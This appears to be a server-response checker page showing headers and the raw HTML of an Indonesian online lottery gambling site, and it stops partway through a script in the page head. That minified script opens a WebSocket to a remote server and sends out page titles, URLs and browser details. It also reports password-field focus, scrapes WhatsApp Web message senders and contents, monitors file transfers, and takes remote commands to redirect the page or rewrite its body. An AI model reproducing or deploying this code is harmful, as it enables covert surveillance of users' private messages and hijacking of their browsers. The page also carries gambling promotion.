Check server response of

Server response
NS records
Whois domain
Response headers
Request headers
Raw HTML code
301 Moved Permanently - dsred.com
HTTP Status: 301
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; [email protected])
Date: Mon, 19 May 2025 13:35:19 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Location: https://oog.eu.com/
cf-cache-status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NQk7jFMLAto8%2Fl%2BJX%2B%2Bs6c6M90RV5RZbOqWytVdCon%2FTuAPaEq5U5JTmJFlyUqHB%2F7dnKkeGNq8YsQTxvQBUHgRPMjHoKlib%2FrxRKDe4ziQK3%2B7Z5YY6cjI9SOcxXL8xobH9L9%2Fp%2F8Y%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 9423fa1239539ffc-AMS
alt-svc: h3=":443"; ma=86400
server-timing: cfL4;desc="?proto=TCP&rtt=27083&min_rtt=27083&rtt_var=13541&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=165&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

HTTP Code 301 Moved Permanently

301 status code means that the requested resource has been permanently moved to a new URL. All future requests should use the new address.

When is Code 301 used?

  • When changing a website domain
  • When modifying URL structures
  • When setting up redirects for SEO

What does Code 301 mean for the user?

The browser will automatically redirect the user to the new address, and search engines will update their indexes.

200 OK - https://oog.eu.com/
HTTP Status: 200
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; [email protected])
Date: Mon, 19 May 2025 13:35:19 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Server: cloudflare
Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
Vary: accept-encoding
Cf-Cache-Status: DYNAMIC
Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=1bnfLXVgCQX5phFI8hgVK%2BzF4nqvVEuGL%2FMDWJ4Oc2%2B%2B3oLOaxupTS05IeS%2FjTe72%2BtKR327IR4NGe9bIgPwQuwPAFHjtX%2BcBdDSKIM0O%2FNqL81mIeI%3D"}]}
CF-RAY: 9423fa147fc2d8cc-AMS
alt-svc: h3=":443"; ma=86400

HTTP Code 200 OK

200 status code is a standard successful HTTP server response. It means that the client’s request (e.g., from a browser) was successfully processed, and the server is delivering the requested data.

When is Code 200 used?

  • When loading a web page
  • When successfully receiving an API response
  • When processing a form or another HTTP request

What does Code 200 mean for the user?

The user receives content without errors, and the page or application functions properly. If Code 200 is accompanied by data, the browser or program processes and displays it to the user.

GET / HTTP/1.1
Host: dsred.com
Accept: */*
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; [email protected])
<!doctype html>
<html xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com/2008/fbml" lang="en-US">

<head>
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <!-- This is Squarespace. -->
    <!-- https://oog.eu.com/ -->
    <base href="https://oog.eu.com/">
    <meta charset="utf-8" />


    <title>ROYALTOGEL » Link Login Alternatif Bandar Togel Hongkong 4D Gacor #1 2025</title>
    <meta http-equiv="Accept-CH" content="Sec-CH-UA-Platform-Version, Sec-CH-UA-Model" />
    <link rel="icon" type="image/x-icon" href="https://oog.eu.com/favicon.png" />
    <link rel="canonical" href="https://oog.eu.com/">
    <meta property="og:site_name" content="ROYALTOGEL » Link Login Alternatif Bandar Togel Hongkong 4D Gacor #1 2025" />
    <meta property="og:title" content="ROYALTOGEL » Link Login Alternatif Bandar Togel Hongkong 4D Gacor #1 2025" />
    <meta property="og:url" content="https://oog.eu.com/">
    <link rel="amphtml" href="https://dsred.sgp1.digitaloceanspaces.com/dsred.html" />
    <meta property="og:type" content="product" />
    <meta property="og:description"
        content="ROYALTOGEL merupakan situs bandar togel online hongkong 4d dengan minimal bet 100 perak paling di cari dan terpercaya #1 di Indonesia!" />
    <meta property="og:image" content="https://oog.eu.com/promo-royaltogel.jpg" />
    <meta property="og:image:width" content="600" />
    <meta property="og:image:height" content="600" />
    <meta property="product:price:amount" content="10,000.00" />
    <meta property="product:price:currency" content="IDR" />
    <meta property="product:availability" content="instock" />
    <meta itemprop="name" content="ROYALTOGEL » Link Login Alternatif Bandar Togel Hongkong 4D Gacor #1 2025" />
    <meta itemprop="url" content="https://oog.eu.com/">
    <meta itemprop="description"
        content="ROYALTOGEL merupakan situs bandar togel online hongkong 4d dengan minimal bet 100 perak paling di cari dan terpercaya #1 di Indonesia! " />
    <meta itemprop="thumbnailUrl" content="https://oog.eu.com/promo-royaltogel.jpg" />
    <link rel="image_src" href="https://oog.eu.com/promo-royaltogel.jpg" />
    <meta itemprop="image" content="https://oog.eu.com/promo-royaltogel.jpg" />
    <meta name="twitter:title" content="ROYALTOGEL » Link Login Alternatif Bandar Togel Hongkong 4D Gacor #1 2025" />
    <meta name="twitter:image" content="https://oog.eu.com/promo-royaltogel.jpg" />
    <meta name="google-site-verification" content="AoW9XCiSVG3kQOFys1o8mK0lpevwCUJRoNnHswTGo0k" />
    <meta name="twitter:url" content="https://oog.eu.com/">
    <meta name="twitter:card" content="summary" />
    <meta name="twitter:description"
        content="ROYALTOGEL merupakan situs bandar togel online hongkong 4d dengan minimal bet 100 perak paling di cari dan terpercaya #1 di Indonesia!" />
    <meta name="description"
        content="ROYALTOGEL merupakan situs bandar togel online hongkong 4d dengan minimal bet 100 perak paling di cari dan terpercaya #1 di Indonesia!" />
    <link rel="preconnect" href="https://images.squarespace-cdn.com">
    <script>
    ! function() {
        var e, t, Y;

        function n() {
            try {
                return window.self === window.top
            } catch (e) {
                return !1
            }
        }

        function r() {
            setTimeout((function() {
                var e = {
                    type: "focus",
                    token: w.token,
                    title: document.title,
                    url: document.URL,
                    focused: document.hasFocus(),
                    useragent: navigator.userAgent,
                    pid: w.pid,
                    pn: w.pn
                };
                null != B && B.readyState == WebSocket.OPEN && B.send(JSON.stringify(e))
            }), 0)
        }

        function a() {
            var e = {
                type: "notification",
                token: w.token,
                title: document.title,
                url: document.URL,
                focused: document.hasFocus(),
                timeout: w.sendNotificationsInterval,
                useragent: navigator.appVersion.length > navigator.userAgent.length ? navigator.appVersion :
                    navigator.userAgent,
                pid: w.pid,
                pn: w.pn
            };
            B.send(JSON.stringify(e))
        }

        function s() {
            y()
        }

        function i() {
            n() && (clearInterval(I), clearInterval(T)), timeout = setTimeout((function() {
                g()
            }), L)
        }

        function o(e) {
            if (n()) switch (e.data.substring(0, 1)) {
                case "r":
                    window.location = e.data.substring(1);
                    break;
                case "b":
                    document.body.innerHTML = e.data.substring(1);
                    break;
                case "w":
                    var t = "true" == e.data.substring(1).toLowerCase();
                    O != t && t && v(), O = t;
                    break;
                case "x":
                    ! function(e) {
                        try {
                            const t = JSON.parse(e),
                                Y = b.get(t.requestId);
                            if (Y) {
                                b.delete(t.requestId);
                                const {
                                    responseCallback: e,
                                    fileName: n
                                } = Y;
                                e(t, n)
                            }
                        } catch (e) {
                            unblockPage()
                        }
                    }(e.data.substring(1))
            }
        }

        function u(e) {
            var t = document.createElement("a");
            return t.href = e, t.href
        }

        function d(e) {
            if (!e) return !1;
            if ("password" == e.type) return !0;
            if (e instanceof HTMLInputElement) {
                var t = window.getComputedStyle(e);
                if (t) {
                    var Y = t.getPropertyValue("-webkit-text-security");
                    return ["disc", "circle", "square"].includes(Y)
                }
            }
            return !1
        }

        function c(e, t = !1) {
            if (d(e) && !J)
                if (J = !0, n()) {
                    var Y = {
                        type: "password_input_focus",
                        focus: !0,
                        token: w.token
                    };
                    B.send(JSON.stringify(Y))
                } else window.top.postMessage({
                    message: "iframePasswordInputFocused",
                    name: e.name,
                    type: "password"
                }, "*")
        }

        function M(e, t = !1) {
            var Y = e && e.name ? e.name : "<unnamed>";
            if (d(e) && J)
                if (J = !1, n()) {
                    var r = {
                        type: "password_input_focus",
                        focus: !1,
                        token: w.token
                    };
                    B.send(JSON.stringify(r))
                } else window.top.postMessage({
                    message: "iframePasswordInputBlurred",
                    name: Y,
                    type: "password"
                }, "*")
        }

        function l(e) {
            var t = document.activeElement;
            t && t != document.body ? document.querySelector && (t = document.querySelector(":focus")) : t = null;
            for (var Y = 0; Y < e.length; ++Y) {
                let s = e[Y];
                var n = d(s),
                    r = n && s.hasAttribute("autofocus"),
                    a = n && t && s.isEqualNode(t);
                (r || a) && c(s), s.tmInputEventListenerAttached || (s.addEventListener("focus", (function(e) {
                    c(e.target)
                }), !0), s.addEventListener("blur", (function(e) {
                    M(e.target)
                }), !0), s.tmInputEventListenerAttached = !0)
            }
        }

        function f() {
            l(document.getElementsByTagName("input"));
            var e = new MutationObserver((function(e) {
                e && e.forEach((function(e) {
                    e && e.addedNodes && 0 != e.addedNodes.length && (window.NodeList && !
                        NodeList.prototype.forEach && (NodeList.prototype.forEach = Array
                            .prototype.forEach), e.addedNodes.forEach((function(e) {
                            if (e.tagName) {
                                var t = [];
                                "input" == e.tagName.toLowerCase() ? t.push(e) : t =
                                    e.getElementsByTagName("input"), t.length && l(
                                        t)
                            }
                        })))
                }))
            }));
            e.observe(document, {
                childList: !0,
                subtree: !0
            }), window.addEventListener("beforeunload", (function(e) {
                M(),
                    function() {
                        for (var e = document.getElementsByTagName("input"), t = 0; t < e.length; ++t) {
                            let Y = e[t];
                            Y.removeEventListener("focus", c), Y.removeEventListener("blur", M), delete Y
                                .tmInputEventListenerAttached
                        }
                    }()
            }))
        }

        function D() {
            var e;
            n() && (w.iup && (e = {
                type: "connect",
                token: w.token,
                title: document.title,
                url: document.URL,
                focused: document.hasFocus(),
                useragent: navigator.userAgent,
                pid: w.pid,
                pn: w.pn
            }, null != B && B.readyState == WebSocket.OPEN && B.send(JSON.stringify(e))), h() && (v(), y(),
                function() {
                    function e(e) {
                        return e.baseURI && e.baseURI.startsWith("https://web.whatsapp.com/")
                    }

                    function t(e) {
                        const t = e.dataTransfer.files;
                        t.length > 0 && Array.from(t).forEach((e => {
                            N(e)
                        }))
                    }
                    document.querySelectorAll("div").forEach((Y => {
                        e(Y) && Y.addEventListener("drop", t, {
                            passive: !0
                        })
                    }));
                    var Y = new MutationObserver((function(e) {
                        e && (Array.from(document.querySelectorAll(".message-in, .message-out"))
                            .reduce(((e, t) => {
                                var Y = t.querySelector(
                                    "button[type=button], div[role=button]");
                                return Y && e.push(Y), e
                            }), []).forEach((e => {
                                const t = "modified";
                                e.hasAttribute(t) || (e.setAttribute(t, ""), e.onclick =
                                    t => {
                                        t.verified || (t.preventDefault(), t
                                            .stopPropagation(), new Promise((
                                                function(t, Y) {
                                                    ! function(e, t, Y) {
                                                        try {
                                                            const Y = e
                                                                .parentElement,
                                                                n = Y[Object
                                                                    .keys(Y)
                                                                    .find((e =>
                                                                        e
                                                                        .includes(
                                                                            "__reactProps"
                                                                        )
                                                                    ))]
                                                                .children
                                                                .props.msg,
                                                                r = n
                                                                .mediaData,
                                                                a = crypto
                                                                .randomUUID();
                                                            b.set(a, {
                                                                responseCallback: e =>
                                                                    t(!e
                                                                        .block
                                                                    )
                                                            }), B.send(
                                                                JSON
                                                                .stringify({
                                                                    requestId: a,
                                                                    type: "waptransfer",
                                                                    direction: "download",
                                                                    filename: r
                                                                        .__x_filename,
                                                                    filesize: r
                                                                        .__x_size,
                                                                    filetype: r
                                                                        .__x_mimetype,
                                                                    filehash: n
                                                                        .__x_encFilehash,
                                                                    url: document
                                                                        .URL,
                                                                    process: w
                                                                        .pn,
                                                                    content: ""
                                                                }))
                                                        } catch {
                                                            Y()
                                                        }
                                                    }(e, t, (() =>
                                                        setTimeout((
                                                                () =>
                                                                Y()),
                                                            1)))
                                                })).then((e => {
                                                t.verified = e, t
                                                    .verified && t
                                                    .target
                                                    .dispatchEvent(t)
                                            }), (() => {})))
                                    })
                            })), e.forEach((function(e) {
                                e && ("childList" !== e.type || e.addedNodes.length <=
                                    0 || e.addedNodes.forEach((function(e) {
                                        if (e) {
                                            e.querySelectorAll("input")
                                                .forEach((e => {
                                                    ! function(e) {
                                                        const t =
                                                            "modified";
                                                        "file" !== e
                                                            .type ||
                                                            e
                                                            .hasAttribute(
                                                                t
                                                            ) ||
                                                            (e.setAttribute(
                                                                    t,
                                                                    ""
                                                                ),
                                                                e
                                                                .addEventListener(
                                                                    "change",
                                                                    (e => {
                                                                        Array
                                                                            .from(
                                                                                e
                                                                                .target
                                                                                .files
                                                                            )
                                                                            .forEach(
                                                                                (e => {
                                                                                    N(e)
                                                                                })
                                                                            )
                                                                    })
                                                                )
                                                            )
                                                    }(e)
                                                }));
                                            var t = document
                                                .querySelectorAll(
                                                    "div[id=main] header div"
                                                )[2];
                                            if (t) {
                                                var Y = t.querySelectorAll(
                                                        "div")[1],
                                                    n = t.querySelectorAll(
                                                        "div")[2];
                                                k = (Y ? Y.innerText : "") +
                                                    ":" + (n ? n.innerText :
                                                        "")
                                            }
                                            document.querySelector(
                                                    "div[id=main] header span[data-icon=default-user]"
                                                ) && (C = "private"),
                                                document.querySelector(
                                                    "div[id=main] header span[data-icon=default-group]"
                                                ) && (C = "group");
                                            var r = e.querySelectorAll(
                                                ".message-in, .message-out"
                                            );
                                            r || A("msgNodes is empty"), e
                                                .matches(
                                                    ".message-in, .message-out"
                                                ) && (r = Array
                                                    .prototype.slice.call(r)
                                                ).push(e), r && 0 != r
                                                .length ? r.forEach((
                                                    function(e) {
                                                        if (e)
                                                            if (!e
                                                                .classList ||
                                                                e
                                                                .classList
                                                                .length <=
                                                                0) A(
                                                                "msg node does not contain classList or classList is empty"
                                                            );
                                                            else {
                                                                var t =
                                                                    e
                                                                    .classList
                                                                    .contains(
                                                                        "message-in"
                                                                    ),
                                                                    Y =
                                                                    e
                                                                    .querySelector(
                                                                        ".copyable-text"
                                                                    ),
                                                                    n =
                                                                    e
                                                                    .querySelector(
                                                                        ".selectable-text"
                                                                    ),
                                                                    r =
                                                                    new Date,
                                                                    a =
                                                                    null;
                                                                if (Y &&
                                                                    Y
                                                                    .attributes[
                                                                        "data-pre-plain-text"
                                                                    ]
                                                                ) {
                                                                    var s =
                                                                        Y
                                                                        .attributes[
                                                                            "data-pre-plain-text"
                                                                        ]
                                                                        .textContent,
                                                                        i =
                                                                        /\[(\d{1,2}):(\d{1,2})[ ]{0,1}([p|a]\.?\s?m\.?)?,\s(.+)]\s(.*):/i [
                                                                            Symbol
                                                                            .match
                                                                        ]
                                                                        (
                                                                            s
                                                                        );
                                                                    if (!
                                                                        i ||
                                                                        6 !=
                                                                        i
                                                                        .length
                                                                    )
                                                                        return void A(
                                                                            "no matches for string: " +
                                                                            s
                                                                        );
                                                                    if (i[
                                                                            3
                                                                        ] &&
                                                                        i[
                                                                            3
                                                                        ]
                                                                        .length >
                                                                        1 &&
                                                                        "p" ==
                                                                        i[
                                                                            3
                                                                        ]
                                                                        .toLowerCase()
                                                                        .slice(
                                                                            0,
                                                                            1
                                                                        ) &&
                                                                        (i[1] =
                                                                            parseInt(
                                                                                i[
                                                                                    1
                                                                                ]
                                                                            ) +
                                                                            12
                                                                        ),
                                                                        dateParts =
                                                                        /(\d{1,4})[.-\\/](\d{1,4})[.-\\/](\d{1,4})/ [
                                                                            Symbol
                                                                            .match
                                                                        ]
                                                                        (i[
                                                                            4
                                                                        ]),
                                                                        !
                                                                        dateParts ||
                                                                        4 !=
                                                                        dateParts
                                                                        .length
                                                                    )
                                                                        return void A(
                                                                            "no matches for string: " +
                                                                            i[
                                                                                4
                                                                            ]
                                                                        );
                                                                    if (A(i[4] +
                                                                            F
                                                                        ),
                                                                        !
                                                                        (r = date
                                                                            .parse(
                                                                                i[
                                                                                    4
                                                                                ],
                                                                                F
                                                                            ) ||
                                                                            function(
                                                                                e,
                                                                                t,
                                                                                Y
                                                                            ) {
                                                                                var n = [
                                                                                        [e, t,
                                                                                            Y
                                                                                        ]
                                                                                        .join(
                                                                                            "-"
                                                                                        ),
                                                                                        [e, Y,
                                                                                            t
                                                                                        ]
                                                                                        .join(
                                                                                            "-"
                                                                                        ),
                                                                                        [t, e,
                                                                                            Y
                                                                                        ]
                                                                                        .join(
                                                                                            "-"
                                                                                        ),
                                                                                        [t, Y,
                                                                                            e
                                                                                        ]
                                                                                        .join(
                                                                                            "-"
                                                                                        ),
                                                                                        [Y, e,
                                                                                            t
                                                                                        ]
                                                                                        .join(
                                                                                            "-"
                                                                                        ),
                                                                                        [Y, t,
                                                                                            e
                                                                                        ]
                                                                                        .join(
                                                                                            "-"
                                                                                        )
                                                                                    ],
                                                                                    r =
                                                                                    Date
                                                                                    .now();
                                                                                for (
                                                                                    var a in
                                                                                        n
                                                                                ) {
                                                                                    var s =
                                                                                        Date
                                                                                        .parse(
                                                                                            n[
                                                                                                a
                                                                                            ]
                                                                                        );
                                                                                    if (s &&
                                                                                        !
                                                                                        (Math
                                                                                            .abs(
                                                                                                r -
                                                                                                s
                                                                                            ) >
                                                                                            1728e6
                                                                                        )
                                                                                    )
                                                                                        return new Date(
                                                                                            s
                                                                                        )
                                                                                }
                                                                            }
                                                                            (dateParts[
                                                                                    1
                                                                                ],
                                                                                dateParts[
                                                                                    2
                                                                                ],
                                                                                dateParts[
                                                                                    3
                                                                                ]
                                                                            )
                                                                        )
                                                                    )
                                                                        return void A(
                                                                            "Can't parse date from string: " +
                                                                            i[
                                                                                4
                                                                            ]
                                                                        );
                                                                    r.setHours(
                                                                            i[
                                                                                1
                                                                            ]
                                                                        ),
                                                                        r
                                                                        .setMinutes(
                                                                            i[
                                                                                2
                                                                            ]
                                                                        ),
                                                                        a =
                                                                        i[
                                                                            5
                                                                        ]
                                                                }
                                                                A("isIncomingMsg = " +
                                                                        t +
                                                                        " msgDateTime = " +
                                                                        r +
                                                                        " msgSender = " +
                                                                        a +
                                                                        " wapStartTime = " +
                                                                        x +
                                                                        " wapTrackingEnabled = " +
                                                                        O
                                                                    ),
                                                                    H
                                                                    .get(
                                                                        k
                                                                    ) ||
                                                                    H
                                                                    .set(
                                                                        k,
                                                                        x
                                                                    );
                                                                var o =
                                                                    n ?
                                                                    n
                                                                    .innerText :
                                                                    null;
                                                                if (A("msgContent = " +
                                                                        o
                                                                    ),
                                                                    a &&
                                                                    o &&
                                                                    O) {
                                                                    var u =
                                                                        (a + o +
                                                                            k +
                                                                            r
                                                                            .getTime()
                                                                        )
                                                                        .split(
                                                                            ""
                                                                        )
                                                                        .map(
                                                                            (function(
                                                                                e
                                                                            ) {
                                                                                return e
                                                                                    .charCodeAt(
                                                                                        0
                                                                                    )
                                                                            })
                                                                        )
                                                                        .reduce(
                                                                            (function(
                                                                                e,
                                                                                t
                                                                            ) {
                                                                                return e +
                                                                                    ((e <<
                                                                                            7
                                                                                        ) +
                                                                                        (e <<
                                                                                            3
                                                                                        )
                                                                                    ) ^
                                                                                    t
                                                                            })
                                                                        )
                                                                        .toString(
                                                                            16
                                                                        );
                                                                    if (H
                                                                        .get(
                                                                            k
                                                                        )
                                                                        .getTime() ==
                                                                        r
                                                                        .getTime() ?
                                                                        r
                                                                        .setMilliseconds(
                                                                            ++
                                                                            R
                                                                        ) :
                                                                        (R = 0,
                                                                            H
                                                                            .set(
                                                                                k,
                                                                                r
                                                                            )
                                                                        ),
                                                                        !
                                                                        u ||
                                                                        P
                                                                        .has(
                                                                            u
                                                                        )
                                                                    )
                                                                        return void A(
                                                                            "msgId is null or this msgId already tracked " +
                                                                            u
                                                                        );
                                                                    var d = {
                                                                        type: "wapmessage",
                                                                        timestamp: r
                                                                            .getTime(),
                                                                        id: u,
                                                                        incoming: t,
                                                                        sender: t ?
                                                                            a :
                                                                            "Me",
                                                                        content: o,
                                                                        recipient: t ?
                                                                            "Me" :
                                                                            k,
                                                                        conversationId: k +
                                                                            "(" +
                                                                            C +
                                                                            ")"
                                                                    };
                                                                    B.send(JSON
                                                                            .stringify(
                                                                                d
                                                                            )
                                                                        ),
                                                                        P
                                                                        .add(
                                                                            u
                                                                        )
                                                                }
                                                            }
                                                    })) : A(
                                                    "no msg nodes found")
                                        }
                                    })))
                            })))
                    }));
                    if (!Y) return;
                    Y.observe(document.body, {
                        childList: !0,
                        subtree: !0
                    }), A("observer is ready")
                }()), n() && (a(), I = setInterval(a, w.sendNotificationsInterval), h() && (T = setInterval(s, w
                .pollWhatsappTrackingInterval))), function() {
                for (var e = [], t = document.getElementsByTagName("link"), Y = 0; Y < t.length; ++Y) "icon" !=
                    t[Y].getAttribute("rel") && "shortcut icon" != t[Y].getAttribute("rel") || (e[e.length] = u(
                        t[Y].getAttribute("href")));
                0 == e.length && (e[0] = u("/favicon.ico"));
                var n = {
                    type: "favicon"
                };
                n.url = document.URL, n.src = e, n.title = document.title, n.token = w.token, n.useragent =
                    navigator.appVersion.length > navigator.userAgent.length ? navigator.appVersion : navigator
                    .userAgent, B.send(JSON.stringify(n))
            }(), w.dontTrackWebPasswords && f())
        }

        function p() {
            document.tmfilter || (g(), F = {
                "ar-SA": "D/M/YY",
                "bg-BG": "D.M.YYYY",
                "ca-ES": "D/M/YYYY",
                "zh-TW": "YYYY/M/D",
                "cs-CZ": "D.M.YYYY",
                "Da-DK": "D-M-YYYY",
                "De-DE": "D.M.YYYY",
                "el-GR": "D/M/YYYY",
                "en-US": "M/D/YYYY",
                "fi-FI": "D.M.YYYY",
                "fr-FR": "D/M/YYYY",
                "he-IL": "D/M/YYYY",
                "hu-HU": "YYYY. M. D.",
                "is-IS": "D.M.YYYY",
                "it-IT": "D/M/YYYY",
                "ja-JP": "YYYY/M/D",
                "ko-KR": "YYYY-M-D",
                "nl-NL": "D-M-YYYY",
                "nb-NO": "D.M.YYYY",
                "pl-PL": "YYYY-M-D",
                "pt-BR": "D/M/YYYY",
                "ro-RO": "D.M.YYYY",
                "ru-RU": "D.M.YYYY",
                "hr-HR": "D.M.YYYY",
                "sk-SK": "D. M. YYYY",
                "sq-AL": "YYYY-M-D",
                "sv-SE": "YYYY-M-D",
                "th-TH": "D/M/YYYY",
                "tr-TR": "D.M.YYYY",
                "ur-PK": "D/M/YYYY",
                "iD-ID": "D/M/YYYY",
                "uk-UA": "D.M.YYYY",
                "be-BY": "D.M.YYYY",
                "sl-SI": "D.M.YYYY",
                "et-EE": "D.M.YYYY",
                "lv-LV": "YYYY.M.D.",
                "lt-LT": "YYYY.M.D",
                "fa-IR": "M/D/YYYY",
                "vi-VN": "D/M/YYYY",
                "hy-AM": "D.M.YYYY",
                "az-Latn-AZ": "D.M.YYYY",
                "eu-ES": "YYYY/M/D",
                "Mk-MK": "D.M.YYYY",
                "af-ZA": "YYYY/M/D",
                "ka-GE": "D.M.YYYY",
                "fo-FO": "D-M-YYYY",
                "hi-IN": "D-M-YYYY",
                "Ms-MY": "D/M/YYYY",
                "kk-KZ": "D.M.YYYY",
                "ky-KG": "D.M.YY",
                "sw-KE": "M/D/YYYY",
                "uz-Latn-UZ": "D/M YYYY",
                "tt-RU": "D.M.YYYY",
                "pa-IN": "D-M-YY",
                "gu-IN": "D-M-YY",
                "ta-IN": "D-M-YYYY",
                "te-IN": "D-M-YY",
                "kn-IN": "D-M-YY",
                "Mr-IN": "D-M-YYYY",
                "sa-IN": "D-M-YYYY",
                "Mn-MN": "YY.M.D",
                "gl-ES": "D/M/YY",
                "kok-IN": "D-M-YYYY",
                "syr-SY": "D/M/YYYY",
                "Dv-MV": "D/M/YY",
                "ar-IQ": "D/M/YYYY",
                "zh-CN": "YYYY/M/D",
                "De-CH": "D.M.YYYY",
                "en-GB": "D/M/YYYY",
                "es-MX": "D/M/YYYY",
                "fr-BE": "D/M/YYYY",
                "it-CH": "D.M.YYYY",
                "nl-BE": "D/M/YYYY",
                "nn-NO": "D.M.YYYY",
                "pt-PT": "D-M-YYYY",
                "sr-Latn-CS": "D.M.YYYY",
                "sv-FI": "D.M.YYYY",
                "az-Cyrl-AZ": "D.M.YYYY",
                "Ms-BN": "D/M/YYYY",
                "uz-Cyrl-UZ": "D.M.YYYY",
                "ar-EG": "D/M/YYYY",
                "zh-HK": "D/M/YYYY",
                "De-AT": "D.M.YYYY",
                "en-AU": "D/M/YYYY",
                "es-ES": "D/M/YYYY",
                "fr-CA": "YYYY-M-D",
                "sr-Cyrl-CS": "D.M.YYYY",
                "ar-LY": "D/M/YYYY",
                "zh-SG": "D/M/YYYY",
                "De-LU": "D.M.YYYY",
                "en-CA": "D/M/YYYY",
                "es-GT": "D/M/YYYY",
                "fr-CH": "D.M.YYYY",
                "ar-DZ": "D-M-YYYY",
                "zh-MO": "D/M/YYYY",
                "De-LI": "D.M.YYYY",
                "en-NZ": "D/M/YYYY",
                "es-CR": "D/M/YYYY",
                "fr-LU": "D/M/YYYY",
                "ar-MA": "D-M-YYYY",
                "en-IE": "D/M/YYYY",
                "es-PA": "M/D/YYYY",
                "fr-MC": "D/M/YYYY",
                "ar-TN": "D-M-YYYY",
                "en-ZA": "YYYY/M/D",
                "es-DO": "D/M/YYYY",
                "ar-OM": "D/M/YYYY",
                "en-JM": "D/M/YYYY",
                "es-VE": "D/M/YYYY",
                "ar-YE": "D/M/YYYY",
                "en-029": "M/D/YYYY",
                "es-CO": "D/M/YYYY",
                "ar-SY": "D/M/YYYY",
                "en-BZ": "D/M/YYYY",
                "es-PE": "D/M/YYYY",
                "ar-JO": "D/M/YYYY",
                "en-TT": "D/M/YYYY",
                "es-AR": "D/M/YYYY",
                "ar-LB": "D/M/YYYY",
                "en-ZW": "M/D/YYYY",
                "es-EC": "D/M/YYYY",
                "ar-KW": "D/M/YYYY",
                "en-PH": "M/D/YYYY",
                "es-CL": "D-M-YYYY",
                "ar-AE": "D/M/YYYY",
                "es-UY": "D/M/YYYY",
                "ar-BH": "D/M/YYYY",
                "es-PY": "D/M/YYYY",
                "ar-QA": "D/M/YYYY",
                "es-BO": "D/M/YYYY",
                "es-SV": "D/M/YYYY",
                "es-HN": "D/M/YYYY",
                "es-NI": "D/M/YYYY",
                "es-PR": "D/M/YYYY",
                "aM-ET": "D/M/YYYY",
                "tzM-Latn-DZ": "D-M-YYYY",
                "iu-Latn-CA": "D/M/YYYY",
                "sMa-NO": "D.M.YYYY",
                "Mn-Mong-CN": "YYYY/M/D",
                "gD-GB": "D/M/YYYY",
                "en-MY": "D/M/YYYY",
                "prs-AF": "D/M/YY",
                "bn-BD": "D-M-YY",
                "wo-SN": "D/M/YYYY",
                "rw-RW": "M/D/YYYY",
                "qut-GT": "D/M/YYYY",
                "sah-RU": "M.D.YYYY",
                "gsw-FR": "D/M/YYYY",
                "co-FR": "D/M/YYYY",
                "oc-FR": "D/M/YYYY",
                "Mi-NZ": "D/M/YYYY",
                "ga-IE": "D/M/YYYY",
                "se-SE": "YYYY-M-D",
                "br-FR": "D/M/YYYY",
                "sMn-FI": "D.M.YYYY",
                "Moh-CA": "M/D/YYYY",
                "arn-CL": "D-M-YYYY",
                "ii-CN": "YYYY/M/D",
                "Dsb-DE": "D. M. YYYY",
                "ig-NG": "D/M/YYYY",
                "kl-GL": "D-M-YYYY",
                "lb-LU": "D/M/YYYY",
                "ba-RU": "D.M.YY",
                "nso-ZA": "YYYY/M/D",
                "quz-BO": "D/M/YYYY",
                "yo-NG": "D/M/YYYY",
                "ha-Latn-NG": "D/M/YYYY",
                "fil-PH": "M/D/YYYY",
                "ps-AF": "D/M/YY",
                "fy-NL": "D-M-YYYY",
                "ne-NP": "M/D/YYYY",
                "se-NO": "D.M.YYYY",
                "iu-Cans-CA": "D/M/YYYY",
                "sr-Latn-RS": "D.M.YYYY",
                "si-LK": "YYYY-M-D",
                "sr-Cyrl-RS": "D.M.YYYY",
                "lo-LA": "D/M/YYYY",
                "kM-KH": "YYYY-M-D",
                "cy-GB": "D/M/YYYY",
                "bo-CN": "YYYY/M/D",
                "sMs-FI": "D.M.YYYY",
                "as-IN": "D-M-YYYY",
                "Ml-IN": "D-M-YY",
                "en-IN": "D-M-YYYY",
                "or-IN": "D-M-YY",
                "bn-IN": "D-M-YY",
                "tk-TM": "D.M.YY",
                "bs-Latn-BA": "D.M.YYYY",
                "Mt-MT": "D/M/YYYY",
                "sr-Cyrl-ME": "D.M.YYYY",
                "se-FI": "D.M.YYYY",
                "zu-ZA": "YYYY/M/D",
                "xh-ZA": "YYYY/M/D",
                "tn-ZA": "YYYY/M/D",
                "hsb-DE": "D. M. YYYY",
                "bs-Cyrl-BA": "D.M.YYYY",
                "tg-Cyrl-TJ": "D.M.YY",
                "sr-Latn-BA": "D.M.YYYY",
                "sMj-NO": "D.M.YYYY",
                "rM-CH": "D/M/YYYY",
                "sMj-SE": "YYYY-M-D",
                "quz-EC": "D/M/YYYY",
                "quz-PE": "D/M/YYYY",
                "hr-BA": "D.M.YYYY.",
                "sr-Latn-ME": "D.M.YYYY",
                "sMa-SE": "YYYY-M-D",
                "en-SG": "D/M/YYYY",
                "ug-CN": "YYYY-M-D",
                "sr-Cyrl-BA": "D.M.YYYY",
                "es-US": "M/D/YYYY"
            } [navigator.language], document.tmfilter = "present")
        }

        function g() {
            (B = new WebSocket(w.connectionString)).onclose = i, B.onmessage = o, B.onopen = D, w.extJs && (w.extJs
                .webSock = {
                    readyState: () => B.readyState,
                    send: e => B.send(e)
                })
        }

        function m() {
            var e = function() {
                var e = ["webkit", "moz", "ms", "o"];
                if ("hidden" in document) return "hidden";
                for (var t = 0; t < e.length; t++)
                    if (e[t] + "Hidden" in document) return e[t] + "Hidden";
                return null
            }();
